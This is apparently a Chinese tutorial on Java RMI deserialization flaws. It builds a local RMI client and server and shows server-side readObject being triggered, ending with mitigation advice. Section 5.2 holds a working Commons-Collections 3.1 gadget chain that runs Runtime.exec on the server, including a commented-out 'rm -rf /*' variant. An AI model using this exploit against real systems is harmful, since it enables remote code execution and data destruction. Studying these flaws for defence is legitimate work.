一、了解什么是Java RMI?对于Java RMI,只要是以对象为参数的接口,都可以在客户端构建一个对象,强迫服务端对这个存在于Class Path下可序列化类进行反序列化,从而执行一个不在计划内的方法。
1.1 是什么?RMI(Remote Method Invocation),即远程方法调用
RMI是一个通信工具,支持存储于不同空间的应用级对象之间进行通信的工具,实现了远程对象之间的无缝调用。用于不同虚拟机之间的通信,通信的虚拟机可以不在同一个服务器。RMI是标识了一些对象,允许被其它虚拟机直接远程调用。 1.2 调用步骤
创建远程接口,继承至Remote实现一个远程对象(实现类)将远程对象注册到RMI Registry(对外发布)客户端RMI可以通过访问服务器找到注册的远程对象客户端RMI将远程对象存根客户端调用类实现客户端RMI存根直接与服务端通信,服务端将结果返回给客户端RMI客户端RMI将拿到的信息返回给客户端 1.3 组成部分
RMI通信由三部分组成
RMI Registry,JDK提供的一个可以独立运行的程序(bin),默认端口1099服务端(Server)程序,提供服务实现类,并注册到RMIRegistry上对外暴露一个指定的名称客户端(Client)程序,通过服务端信息和一个已知的暴露名称,借用RMI远程访问。 1.4 通信过程
说明
Stub,存根,代理角色Skeleton,骨干,实际调用服务端实现类方法Rmote Reference Layer,远程引用层,处理通信Transport Layer,传输层,管理连接的 请求,客户端->存根->引用层->传输层,传递到服务端主机,传输层->引用层->骨干->服务端返回,服务端->骨干->引用层->传输层,返回信息到客户端主机,传输层->引用层->存根->客户端 二、尝试通过RMI远程调用 2.1 服务端:实现远程服务接口
package com.cloudcc.designmode.study01.rmiplay;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Services extends Remote {
String sendUserInfo(UserInfo userInfo) throws RemoteException;
}
必须抛出异常RemoteException,否则会异常(remote object implements illegal remote interface) 2.2 服务端:实现远程服务类
package com.cloudcc.designmode.study01.rmiplay;
public class RMIServer implements Services{
@Override
public String sendUserInfo(UserInfo userInfo) {
String accountId = userInfo.getAccountId();
System.out.println(accountId);
if (accountId.contains("XXX")){
return "XXX:acc000001";
}else {
return "Known: acc000002";
}
}
}
2.3 服务端:传输的对象
package com.cloudcc.designmode.study01.rmiplay;
import java.io.Serializable;
public class UserInfo implements Serializable {
private String accountId;
public String getAccountId() {
System.out.println("我被远程调用了");
return accountId;
}
public void setAccountId(String accountId) {
this.accountId = accountId;
}
}
2.4 服务端:对外暴露对象
package com.cloudcc.designmode.study01.rmiplay;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
public class ExecuteRmi {
public static void main(String[] args) {
System.out.println("启动服务端RMI");
RMIServer rmiServer = new RMIServer();
try {
Services services = (Services) UnicastRemoteObject.exportObject(rmiServer, 8080);
Registry registry;
try {
registry = LocateRegistry.createRegistry(8080);
System.out.println("完成RMI Registry的创建。");
}catch (Exception e){
System.out.println("使用已经存在的RMI Registry。");
registry = LocateRegistry.getRegistry();
}
registry.rebind("RMIServer", services);
} catch (RemoteException e) {
e.printStackTrace();
}
}
}
2.5 客户端:拷贝内容(服务接口、传输对象)
package com.cloudcc.designmode.study01.rmiplay;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface Services extends Remote {
String sendUserInfo(UserInfo userInfo) throws RemoteException;
}
package com.cloudcc.designmode.study01.rmiplay;
import java.io.Serializable;
public class UserInfo implements Serializable {
private String accountId;
public String getAccountId() {
System.out.println("我被远程调用了");
return accountId;
}
public void setAccountId(String accountId) {
this.accountId = accountId;
}
}
2.6 客户端:远程调用对象
package com.cloudcc.designmode.study01.client;
import com.cloudcc.designmode.study01.hehe.PublicKnown;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import sun.rmi.server.UnicastRef;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
Services services = (Services) registry.lookup("RMIServer");
// 正常调用
UserInfo userInfo = new UserInfo();
userInfo.setAccountId("我要获取XXX的账号ID,请返回给我。");
System.out.println(services.sendUserInfo(userInfo));
}
}
三、模拟远程执行不在计划内的方法
3.1 服务端:增加意外类(重现类)
只是重现,非模拟
package com.cloudcc.designmode.study01.hehe;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class AccidentObject implements Serializable {
private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
stream.defaultReadObject();
System.out.println("我被执行了,这确实不应该,但我也没办法,都是JDK的错。");
}
}
3.2 客户端:构建意外类
客户端构建类要求
包路径、类名必须与服务端的问题类一致必须继承远程调用类的依赖类,这里指的是UserInfo内容暂时不必定,但并非没有意义
package com.cloudcc.designmode.study01.hehe;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import java.io.Serializable;
public class AccidentObject extends UserInfo implements Serializable {
}
3.3 客户端:修改调用代码
package com.cloudcc.designmode.study01.client;
import com.cloudcc.designmode.study01.hehe.AccidentObject;
import com.cloudcc.designmode.study01.rmiplay.Services;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
Services services = (Services) registry.lookup("RMIServer");
AccidentObject accidentObject = new AccidentObject();
accidentObject.setAccountId("随便给我个accountId");
String s = services.sendUserInfo(accidentObject);
System.out.println(s);
}
}
调用结果:服务端会执行不应该被执行的方法,即AccidentObject::readObject 四、模拟远程执行并修改变量值 4.1 服务端:模拟公用包的问题类(模拟类)
package com.cloudcc.designmode.study01.hehe;
import org.springframework.transaction.TransactionSystemException;
import org.springframework.util.StringUtils;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class CustomTx implements Serializable {
public static final String DEFAULT_USER_TRANSACTION_NAME = "java:comp/UserTransaction";
private ITransaction iTransaction;
private String userTransactionName;
private boolean autodetectUserTransaction;
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 模拟当前类存在事务
this.iTransaction = new HasTransaction();
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();
System.out.println("不好我被执行了");
// Perform a fresh lookup for JTA handles.
System.out.println("我现在有事务管理器:" + this.iTransaction.getClass());
initUserTransactionAndTransactionManager();
System.out.println("事务管理器被修改了,现在是:" + this.iTransaction.getClass());
}
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException {
if (this.iTransaction == null) {
// Fetch JTA UserTransaction from JNDI, if necessary.
if (StringUtils.hasLength(this.userTransactionName)) {
System.out.println("不好,tx name被篡改了,现在的名字是:" + this.userTransactionName);
if (this.userTransactionName.equals(DEFAULT_USER_TRANSACTION_NAME)){
iTransaction = new HasTransaction();
}else {
iTransaction = new NoneTransaction();
}
} else {
this.iTransaction = retrieveUserTransaction();
if (this.iTransaction == null && this.autodetectUserTransaction) {
this.iTransaction = findUserTransaction();
}
}
}
}
private ITransaction findUserTransaction() {
return new NoneTransaction();
}
private ITransaction retrieveUserTransaction() {
this.autodetectUserTransaction = true;
return null;
}
public String getUserTransactionName() {
return userTransactionName;
}
public void setUserTransactionName(String userTransactionName) {
this.userTransactionName = userTransactionName;
}
}
public interface ITransaction {
}
public class HasTransaction implements ITransaction{
}
public class NoneTransaction implements ITransaction{
}
4.2 客户端:定义问题类
package com.cloudcc.designmode.study01.hehe;
import com.cloudcc.designmode.study01.rmiplay.UserInfo;
import java.io.Serializable;
public class CustomTx extends UserInfo implements Serializable {
// 序列来源说明
public static final long serialVersionUID = 8530490060988692L;
private String userTransactionName;
public String getUserTransactionName() {
return userTransactionName;
}
public void setUserTransactionName(String userTransactionName) {
this.userTransactionName = userTransactionName;
}
}
4.3 客户端:调整调用代码
package com.cloudcc.designmode.study01.client;
import com.cloudcc.designmode.study01.hehe.CustomTx;
import com.cloudcc.designmode.study01.rmiplay.Services;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 8080);
Services services = (Services) registry.lookup("RMIServer");
// 模拟属性被修改
CustomTx customTx = new CustomTx();
customTx.setUserTransactionName("你被我修改了");
services.sendUserInfo(customTx);
}
}
包路径、类名必须一致类变量的值也会被序列化序列化ID问题,服务端会把正确的序列化ID返回给客户端 五、问题类记录及演示 5.1 JtaTransactionManager
Maven
攻击说明org.springframework spring-tx 5.3.13
把仿造的JtaTransactionManager对象发送到服务器端时,服务端需要初始化各种对象,这就需要完整的环境,包含了spring-tx、jta包、apache common的日志等客户端也需要依赖以上包不要在意客户端的报错,只看readObject()有没有执行,正常情况客户端一定会报错,且是服务端返回给客户端的错误,即报错是服务端执行的报错。防漏洞处理,transient 5.2 commons-collections包漏洞
可远程执行命令条件
jdk7或服务端重写了sun.reflect.annotation.AnnotationInvocationHandlercommons-collections低版本,3.1以下,以上没测试 代码
Maven
commons-collections commons-collections 3.1
服务端代码
package com.cloudcc.designmode.study01.other;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String sayHello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
}
// 实现类
package com.cloudcc.designmode.study01.other;
import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject;
public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
}
protected UserImpl(int port) throws RemoteException {
super(port);
}
protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
}
@Override
public String sayHello(String hello) throws RemoteException {
return "hello";
}
@Override
public void work(Object obj) throws RemoteException {
System.out.println(obj);
System.out.println("work方法被调用了");
}
}
// 暴露
package com.cloudcc.designmode.study01.other;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class ExecuteServer {
public static void main(String[] args) throws RemoteException {
User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user", user);
System.out.println("开始使用RMI......");
}
}
客户端代码
// 相同接口
package com.cloudcc.designmode.study01.other;
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface User extends Remote {
String sayHello(String hello) throws RemoteException;
void work(Object obj) throws RemoteException;
}
// 调用类
package com.cloudcc.designmode.study01.other;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;
public class UserClient {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1099/user";
User user = (User) Naming.lookup(url);
String hello = user.sayHello("hello");
System.out.println(hello);
user.work(getpayload());
}
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
// new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"cmd", "/C", "rd D:\aaa.txt"}})
// new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/sh", "-c", "rm -rf /*"}})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap<>();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class> cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor> ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
return ctor.newInstance(Target.class, transformedMap);
}
}
六、漏洞处理
处理方式
该漏洞新版本已修复,且前置条件很多,几乎不可能被利用公网不开放RMI的接口增加限制反序列化工具 受漏洞影响的工具
服务器
WebLogic、Apache、JBoss等中间件 包
JDK官方包、FastJson、Spring、Apache Commons等等 漏洞原因
sun.rmi.serverUnicastRef类(rt.jar包)方法
// 非基础类型会走readObject()方法,所有包含该方法的公共类都会被利用攻击
protected static Object unmarshalValue(Class> var0, ObjectInput var1) throws IOException, ClassNotFoundException {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var0 == String.class && var1 instanceof ObjectInputStream ? SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)var1) : var1.readObject();
}
}



